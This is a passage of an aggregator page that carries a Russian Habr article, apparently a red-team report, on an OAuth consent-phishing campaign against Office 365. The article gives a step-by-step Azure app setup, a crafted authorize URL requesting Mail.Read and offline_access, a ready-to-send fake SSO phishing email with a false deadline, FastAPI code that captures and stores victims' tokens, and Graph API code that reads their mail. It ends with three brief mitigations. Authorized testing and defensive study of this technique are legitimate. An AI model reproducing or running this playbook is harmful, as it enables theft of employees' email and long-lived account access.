惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

博客园_首页
PCI Perspectives
PCI Perspectives
H
Help Net Security
爱范儿
爱范儿
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
雷峰网
雷峰网
S
Secure Thoughts
Jina AI
Jina AI
Attack and Defense Labs
Attack and Defense Labs
大猫的无限游戏
大猫的无限游戏
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
S
Security @ Cisco Blogs
阮一峰的网络日志
阮一峰的网络日志
D
Darknet – Hacking Tools, Hacker News & Cyber Security
Recent Commits to openclaw:main
Recent Commits to openclaw:main
The Hacker News
The Hacker News
The Last Watchdog
The Last Watchdog
T
Tor Project blog
小众软件
小众软件
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
博客园 - 叶小钗
博客园 - 【当耐特】
G
Google Developers Blog
Hacker News - Newest:
Hacker News - Newest: "LLM"
C
Cyber Attacks, Cyber Crime and Cyber Security
C
Cisco Blogs
T
The Blog of Author Tim Ferriss
I
Intezer
S
Schneier on Security
S
Securelist
W
WeLiveSecurity
C
Cybersecurity and Infrastructure Security Agency CISA
P
Palo Alto Networks Blog
Scott Helme
Scott Helme
Project Zero
Project Zero
Google Online Security Blog
Google Online Security Blog
T
Threatpost
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
Engineering at Meta
Engineering at Meta
Blog — PlanetScale
Blog — PlanetScale
V
Visual Studio Blog
Last Week in AI
Last Week in AI
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
人人都是产品经理
人人都是产品经理
Y
Y Combinator Blog
A
Arctic Wolf
GbyAI
GbyAI
H
Hackread – Cybersecurity News, Data Breaches, AI and More
L
LangChain Blog

Все публикации подряд на Хабре

Ловим музу за клавиатуру: как айтишнику стать автором Что умеет Midjourney в 2026? Мой немного грустный разбор этого шикарного инструмента Никто не любит писать тесты, но ИИ может исправить это IPv8 выглядит как мечта. Поэтому почти наверняка не взлетит Производители вернули в продажу материнки с DDR3. Что происходит? Управление агентом с телефона через Telegram теперь в KodaCode От координации к лидерству: как меняется роль руководителя разработки Я сделала родителям бизнес вместо пенсии: зарабатываем 70 тысяч, мама не даёт продать В три раза быстрее приемка товара и оптимизация трудозатрат на 73%: как «РСТ-Инвент» помог Gulliver Group ИИ-шечный мир победил? О влиянии искусственного интеллекта на игропром Кремль снижает давление на Телеграмм пока Европа строит интернет по паспорту Как CEO, CTO и CIO за 8 часов собрали ИИ-директора, который умеет держать позицию под давлением Как (не) потерять домен за выходные Вместо 8 разных VPS: как я организовал практику студентам на одном сервере Почему твой Open Source проект не замечают? R&D: искусство управления неопределенностью в разработке AI-дефляция: вакансий для разработчиков больше, а рост зарплат — худший за 15 лет Мы отдали управление роботами OpenClaw. Что из этого вышло Галактический ID: система идентификации для всех форм разумной жизни Шесть основ бизнес-анализа: начинаем с вопроса «Кто в игре?» Код-ревью, в котором дело не в коде Данные переехали. Команда — нет Системной подход к сдаче OSWE в 2025 Почему комната управления реактором покрашена в цвет морской пены 4 YAML-файла вместо PySpark: как аналитикам строить пайплайны без разработчиков LLM-агент для поиска свободных доменов: автоматизируем подбор Когда, зачем и как правильно начинать новую сессию в Claude Code? Как я заставил нейросеть писать макросы для FreeCAD Анатомия ИИ‑агента для подбора персонала. От тысячи резюме к топ‑10 за минуты Опыт разработчика как экономика внимания Автономность как точка невозврата: кто будет субъектом в цифровом будущем Обучение ИИ в «диких» условиях: как рутинные действия превращаются в датасеты Как измерить LLM для задач кибербеза: обзор открытых бенчмарков Где хранить код? Сравнение GitHub, GitLab и Bitbucket Математика объясняет, почему нормальное распределение встречается повсюду Почему ваш FinOps не работает: 12 тезисов от практиков Как подписать проектную документацию УКЭП с использованием бесплатных лицензий Pilot Адаптивное администрирование Sigla Vision Я грузил уран в бочки, а потом 20 лет строил ИТ в атомной отрасли Чем позвонить с Эвереста? История и обзор спутниковой связи. Часть 2 Как языковая модель помогает контролировать качество инструктажей по охране труда в металлургии Как не передать на desktop свой IP в РКН Анатомия SAP Privileges: как устроено управление правами в macOS MoneyDev: Сказка про три главных слова Обновлённый токенизатор видео K-VAE 2.0 от Сбера Как сделать диспетчеризацию дома на 1284 квартиры почти бесплатно Как мы разогнали железную дорогу Мы дали агентам рутину. Теперь надо решить — что делать с освободившимся временем Токсичный контент, промпт-хакинг и защита ИИ — всё о Guardrails для LLM Умный город начинается с точного взгляда: как «Фалькон Тех» меняет пространство к лучшему Навайбкодил приложение для анализа графов Почему Дюну так интересно читать? Упрощаем работу с рутиной или как стать Гендальфом Белым Деконструкция Go: CPU, RAM и что там происходит. Go Assembler база. Часть 1.1 Какие профессии исчезнут из-за ИИ, а какие появятся? И что с этим делать Как мы построили IT-отдел, где хочется расти: архитектурные встречи, прозрачные метрики и книжные подарки Rufler: Делаем из Claude Code автономный рой через один YAML-конфиг Sing-box и белый список приложений Как построить надёжный обмен сообщениями в микросервисах: лучшие практики для enterprise OpenAI строит MLM-пирамиду, а McKinsey и Accenture помогают ей в этом Дом, который не построил Фишер (Часть 2) «Сверхзвуковой математик» против «Вдумчивого логиста»: битва алгоритмов 3D-упаковки Мультимодальные модели – грубый и дорогой инструмент Разговоры ничего не стоят. Код тоже Проверки физических лиц: с кого начнет ФНС Топ-10 бесплатных нейросетей для создания видео в 2026 году Первые слои кода: как наши решения сегодня определяют архитектуру ИИ на десятилетия Разработка нового статического анализатора: PVS-Studio JavaScript Поиск уязвимостей ПО: базовый минимум или роскошный максимум Почему оценка персонала не работает как инструмент управления Как мы разработали ИИ-ассистента и сократили рутину продуктовой команды на 50% Как я ушел из найма, нажарил косточек и продал на маркетплейсах на 168 млн в год Когда 1С:ERP уже внедрена, а нормального производственного плана всё ещё нет Как я сделал Claude мультимодальным, подключив к нему Qwen Omni Как приглашение на вакансию мечты превращается в атаку Infrastructure as Code: философия и лучшие практики IaC Тестируем Yandex Code Assistant на задаче, в которой нужно хранить секреты nxs-universal-chart v3.0: новое поколение универсального Helm-чарта Callback Injection: Техника, которая отправила Microsoft Defender в глухой нокаут «Все идеи на стол»: митап как способ вывести проект из тупика Сегодня я узнал нечто новое о GPU благодаря багу в своей игре Как заставить LLM ̶ ̶г̶а̶л̶л̶ю̶ ̶ эволюционировать Карта событий как фундамент аналитики: практический кейс для E-commerce Что выбрать для AI: x86, ARM или RISC-V? Дайджест железа за март Роль соматических мутаций в развитии аутоиммунных заболеваний: путь к избирательной терапии Mythos от Anthropic — тревожный сигнал для всех, а не только для банков Guardrails для LLM на Java: как приручить промпт‑инъекции и токсичные ответы Green-VLA: как мы собрали VLA-модель для реального антропоморфного робота и не потеряли обобщение Финансовая гонка вооружений: почему умные люди добровольно в ней участвуют Эра ИИ-агентов наступила: выбираем лучшего цифрового сотрудника # Практический опыт внедрения WinCC Redundancy на производственном предприятии Сделал MVP за 3 дня, а потом неделю прикручивал оплату. Оно того стоило? Физика против Маска: почему Starship V3 может оказаться ещё одной катастрофой Нефть Венесуэлы: крупнейшие запасы в мире, но не крупнейшая нефтяная держава JPA 4. Переосмысление Hibernate Почему зеркальная фотокамера Nikon D5 десятилетней давности идеально подошла для миссии «Артемида-2» Проект «Уровень-Спутник» или как мы сделали платформу для гидрологов «Замедлиться, чтобы ускориться»: почему ИИ повышает цену ошибок в требованиях и архитектуре Как с нуля поднять трафик IT-компании на 1657% при бюджете 55 тыс. и выжить Pixel-perfect Downsampling — идеальная отрисовка 50 миллионов точек без потерь
Нажал «Принять» — и забыл. А мы уже внутри
Фишт · 2026-05-31 · via Все публикации подряд на Хабре

Нажал «Принять» — и забыл. А мы уже внутри

Средний

7 мин

9.6K

В рамках проведения внутреннего аудита информационной безопасности (Red Team) перед нами стояла задача найти новые вектора атаки на инфраструктуру компании. Мы знали, что все оконечные устройства оснащены EDR с поведенческим анализом. На периметре не было уязвимых сервисов или других точек входа. Решили сосредоточить свои усилия в рамках данного тестирования на сотрудниках компании, реализовать фишинговую компанию. Почтовый сервер — Microsoft Office 365. Наличие EDR на оконечные устройства сразу исключило классические методы с вредоносными вложениями - исполняемые файлы, макросы или эксплойты для Office были бы либо заблокированы, либо мгновенно обнаружены. Поэтому мы выбрали тактику: атаку не на уязвимости клиентского ПО, а на сам процесс авторизации OAuth 2.0 в Office 365, с целью получения содержимого почтовых ящиков без единого вредоносного файла.

Тактику, которую мы выбрали, известна как OAuth 2.0 authorization code flow. Мы не отправляли ссылку на поддельную страницу входа. Вместо этого мы заставили пользователя нажать кнопку «Принять» внутри легитимного окна Microsoft, после чего с помощью API спокойно читали его почту.

Ключевая особенность экосистемы Microsoft 365 заключается в том, что она построена на Azure Active Directory. Любое внешнее приложение может получить доступ к данным пользователя, если получит его явное согласие (consent) и токен. Этим мы и воспользовались.

Для начала на портале Azure AD в разделе «Регистрация приложений» (App registrations) мы создали новое приложение с типом «Web».

  1. Перешли на портал Azure AD → «Регистрация приложений» (App registrations).

  2. Создали приложение с типом «Web».

  3. В качестве URI перенаправления (redirect_uri) указали: https://myJiracallback.com/callback

  4. Сгенерировали client_secret и получили client_id

Далее мы сформировали специальную ссылку, ведущую не на поддельный, а на самый настоящий сайт login.microsoftonline.com. Параметры этой ссылки включали наш client_id, тип ответа code, наш redirect_uri, а самое главное - набор запрашиваемых разрешений (scope): Mail.Read (чтение писем, тел и вложений), offline_access (позволяет получить refresh_token для долгосрочного доступа).

https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=11111111-aaaa-2222-bbbb-333333333333
&response_type=code
&redirect_uri=https://myJiracallback.com/callback
&response_mode=query
&scope=Mail.Read%20offline_access
&state=уникальный_идентификатор_пользователя```

Помимо публично common существуют еще organizations,consumers или {tenant} конкретной организации. Ниже представлена таблица с описанием параметров запросов.

Parameter

Required/optional

Description

tenant

required

The {tenant} value in the path of the request can be used to control who can sign into the application. Valid values are common, organizations, consumers, and tenant identifiers. For more information, see Endpoints.

client_id

required

The Application (client) ID that the Microsoft Entra admin center – App registrations page assigned to your app.

scope

optional

A space-separated list of scopes. The scopes must all be from a single resource, along with OIDC scopes (profile, openid, email). For more information, see Permissions and consent in the Microsoft identity platform. This parameter is a Microsoft extension to the authorization code flow, intended to allow apps to declare the resource they want the token for during token redemption.

code

required

The authorization_code that you acquired in the first leg of the flow.

redirect_uri

required

The same redirect_uri value that was used to acquire the authorization_code.

grant_type

required

Must be authorization_code for the authorization code flow.

code_verifier

recommended

The same code_verifier that was used to obtain the authorization_code. Required if PKCE was used in the authorization code grant request. For more information, see the PKCE RFC.

client_secret

required for confidential web apps

The application secret that you created in the app registration portal for your app. Don't use the application secret in a native app or single page app because a client_secret can't be reliably stored on devices or web pages. It's required for web apps and web APIs, which can store the client_secret securely on the server side. Like all parameters here, the client secret must be URL-encoded before being sent. This step is done by the SDK. For more information on URI encoding, see the URI Generic Syntax specification. The Basic auth pattern of instead providing credentials in the Authorization header, per RFC 6749 is also supported.

Ссылка была минимизирована через сервис коротких ссылок и внедрена в тело обычного текстового письма.

Уважаемые коллеги,
Отдел информационной безопасности совместно с ИТ-департаментом внедряет единое окно аутентификации (SSO) для всех корпоративных веб-сервисов.
Теперь для входа в Jira, Confluence, SharePoint и другие платформы не нужно будет запоминать отдельные пароли — достаточно одного корпоративного аккаунта Microsoft 365.
Чтобы активировать новую возможность для вашей учётной записи, выполните всего одно действие:
URL
Если вы не активируете подключение до 30 мая, доступ к Jira и Confluence будет временно ограничен.

Когда сотрудник нажимал «Принять» (Accept) в окне разрешений Microsoft, браузер перенаправляет code на myJiracallback.com/callback?code=0.AX...&state=user1.

Чтобы понять как работает данная схема подробно опишем шаги которые необходимо сделать для авторизации нативного приложения (Native App) для доступа к Web API с использованием протокола OAuth 2.0.

Этап

Действие

Что происходит

1

Получение письма пользователем

Пользователь открывает письмо браузере ** с адресом login.microsoftonline.com

2

Аутентификации + Согласие пользователя

В браузере входит в учётную запись и даёт согласие

3

Браузер пользователя редиректит на наш сервер authorization code

Возвращается authorization code (одноразовый код)

4

Делаем запрос к Microsoft для получения access token и refresh token

Наш сервис отправляет authorization code,client_secret,client_id на сервер Microsoft

5

Получаем access token и refresh token

Сервер Microsoft отдаёт access token и refresh token (долгоживущий)

6

Используя access token делаем запрос к почтовому сервису.

Наш сервис вызывает API, передавая access token в заголовке Authorization

Обновление Access token

Access token истекает

1

Отправляем запрос в Microsoft

Приложение отправляет refresh token (вместе с client_id)

2

Получаем данные от Microsoft

Сервер выдаёт новый access token + новый refresh token

Шаги 1,2 делает пользователь, а все остальные шаги 3-6 делаем мы.

Нам нужен был массовый сбор ответов, поэтому мы подняли простой веб-сервер на FastAPI

`@app.get("/callback")
 async def oauth_callback(code: str, state: str = None):
    # Обмениваем код на токен
    token_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token"    
    data = {
        "client_id": CLIENT_ID,
        "client_secret": CLIENT_SECRET,
        "code": code,
        "redirect_uri": REDIRECT_URI,
        "grant_type": "authorization_code",
    }    
    response = requests.post(token_url, data=data)
    tokens = response.json()    
    save_to_db(state, tokens)  # сохраняем в БД с меткой сотрудника

В ответ от Microsoft приходил JSON-объект, содержащий три ключевых элемента: access_token (живет около часа), refresh_token (живет до 90 дней) и список выданных scope. Мы сохраняли эти токены в базе данных с привязкой к идентификатору сотрудника из параметра state.

{
access_token": "eyJ0eXAKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik5HVEZ2ZEstZnl0aEV1Q...", "token_type": "Bearer",
"expires_in": 3599,
"scope": "https%3A%2F%2Fgraph.microsoft.com%2Fmail.read",
"refresh_token": "AwABAAAAvPM1KaPlrEqdFSBzjqfTGAMxZGUTdM0t4B4...",
"id_token":"eyJ0eXAiOiJKV1QiLCJhGciOiJub25lIn0.eyJhdWQiOiIyZDRkMTFhMi1mODE0tOD..."
}

Ниже представлена таблица с описанием параметров ответа от Microsoft.

Parameter

Description

access_token

The requested access token. The app can use this token to authenticate to the secured resource, such as a web API.

token_type

Indicates the token type value. The only type that Microsoft Entra ID supports is Bearer.

expires_in

How long the access token is valid, in seconds.

scope

The scopes that the access_token is valid for. Optional. This parameter is non-standard and, if omitted, the token is for the scopes requested on the initial leg of the flow.

refresh_token

An OAuth 2.0 refresh token. The app can use this token to acquire other access tokens after the current access token expires. Refresh tokens are long-lived. They can maintain access to resources for extended periods. For more detail on refreshing an access token, refer to Refresh the access token later in this article. Note: Only provided if offline_access scope was requested.

id_token

A JSON Web Token. The app can decode the segments of this token to request information about the user who signed in. The app can cache the values and display them, and confidential clients can use this token for authorization. For more information about id_tokens, see the id_token reference. Note: Only provided if openid scope was requested.

Используя данные из нашей БД мы можем авторизовываться и читать почту пользователей.

headers = {"Authorization": f"Bearer {access_token}"}
resp = requests.get(
    "https://graph.microsoft.com/v1.0/me/messages?$top=100&$select=subject,receivedDateTime,from,hasAttachments&$orderby=receivedDateTime desc",
    headers=headers
)
emails = resp.json().get("value", [])

За два часа рассылки (в ней участвовало 300 сотрудников ) 132 человека (44%) перешли по ссылке, 98 из них (32,6%) нажали «Принять» в окне OAuth2 и предоставили доступ к своей почте. Люди предоставляют доступ к своим данным, если атака использует легитимный интерфейс Microsoft и не вызывает подозрений.
Меры реагирования

  1. Включить политику «User consent to apps» → Allow user consent for verified publishers only или Deny user consent второй вариант предпочтительней

  2. Настроить сбор логов Azure AD в SIEM с корреляцией Consent + массовый MailItemsAccessed

  3. Включить политику: доступ к Graph API только с гибридных устройств или через VPN.